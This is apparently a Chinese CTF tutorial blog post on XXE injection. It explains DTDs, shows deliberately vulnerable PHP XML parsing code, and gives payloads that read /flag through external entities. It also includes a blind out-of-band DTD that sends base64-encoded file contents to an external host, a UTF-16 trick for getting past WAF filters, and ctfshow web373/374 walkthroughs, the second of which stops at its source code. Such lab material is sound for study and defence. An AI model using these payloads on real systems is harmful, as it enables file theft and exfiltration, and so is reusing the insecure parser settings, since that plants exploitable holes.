目录

  1. 1. 前言
  2. 2. XML基础
  3. 3. PHP解析xml
  4. 4. 利用可能
    1. 4.1. 普通的xml注入
    2. 4.2. 有回显的xxe文件读取
    3. 4.3. 无回显
  5. 5. 过滤绕过
    1. 5.1. 编码绕过
  6. 6. 实战
    1. 6.1. ctfshow web373
    2. 6.2. ctfshow web374

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

XXE

2023/6/11 Web
  |     |   总文章阅读量:

前言

XXE(XML External Entity)攻击是一种针对应用程序的攻击,它利用了XML解析器的漏洞,通过注入恶意XML实体来实现攻击目的

全称是XML外部实体注入

参考先知社区的一篇文章

XML基础

可移步菜鸟教程

DTD

XML 指可扩展标记语言(eXtensible Markup Language)。

与HTML有点类似,但是XML 被设计用来传输和存储数据,不用于表现和展示数据,HTML 则用来表现数据。

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的

DTD例:

<?xml version="1.0"?>	<!--这一行是XML文档定义-->
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容)

例:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

<creds>
<user>&xxe;</user>		<!--引用xxe实体-->
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。


PHP解析xml

<?php
libxml_disable_entity_loader(false);	// 启用外部实体加载器
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

利用可能

普通的xml注入

类似sql注入,都是闭合前面的语句另起一段新语句

image-20230625123643038


有回显的xxe文件读取

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>	
<creds>
	<user>&xxe;</user>	<!--外部引用xxe实体-->
    <pass>mypass</pass>
</creds>

这段代码从外部的dtd文件引用了实体,于是称为外部实体

这样对引用资源所做的任何更改都会在文档中自动更新

还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

实际上,在上面那段代码中,既然能读 dtd 那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?

结合前面的php解析xml脚本,我们可以post传参以下payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE aaa [  
<!ENTITY xxe SYSTEM "file:///flag"> ]> 
<aaa>&xxe;</aaa>

image-20231116213253213

这样就能读取到文件了


无回显

只要把php脚本中的输出语句去掉就是无回显了

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

和rce的思路差不多,我们可以进行远程包含DTD实体来带出结果

在自己的vps上准备一个test.dtd文件,内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://76135132qk.imdo.co:57746?p=%file;'>">

然后nc监听对应端口(我这里是内网穿透,监听的是内网的映射端口)

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://76135132qk.imdo.co/test.dtd">
%remote;%int;%send;
]>

过滤绕过

编码绕过

参考[CSAWQual 2019]Unagi

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

linux环境下转换字符集

iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml

实战

ctfshow web373

进入题目看到源码

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);

首先通过libxml_disable_entity_loader(false)函数,启用XML解析器的外部实体加载功能,允许XML文件中的外部实体被解析和使用

然后这里用到了php://input伪协议,那我们等会传参的时候就是要通过post传入代码执行

接着使用DOMDocument类和simplexml_import_dom函数,将XML文件解析为DOM对象,并将其转换为SimpleXMLElement对象以便于处理。在解析XML文件时,使用了LIBXML_NOENTLIBXML_DTDLOAD选项,允许加载实体和DTD(文档类型定义)

从SimpleXMLElement对象中提取ctfshow节点的值,并将其作为响应输出

因为启用了外部实体加载功能,所以可以进行xxe文件读取

猜测flag路径在/flag,直接用bp抓包post传参读取flag

payload:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<ctfshow>&xxe;</ctfshow>
</test>

ctfshow web374

无回显

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);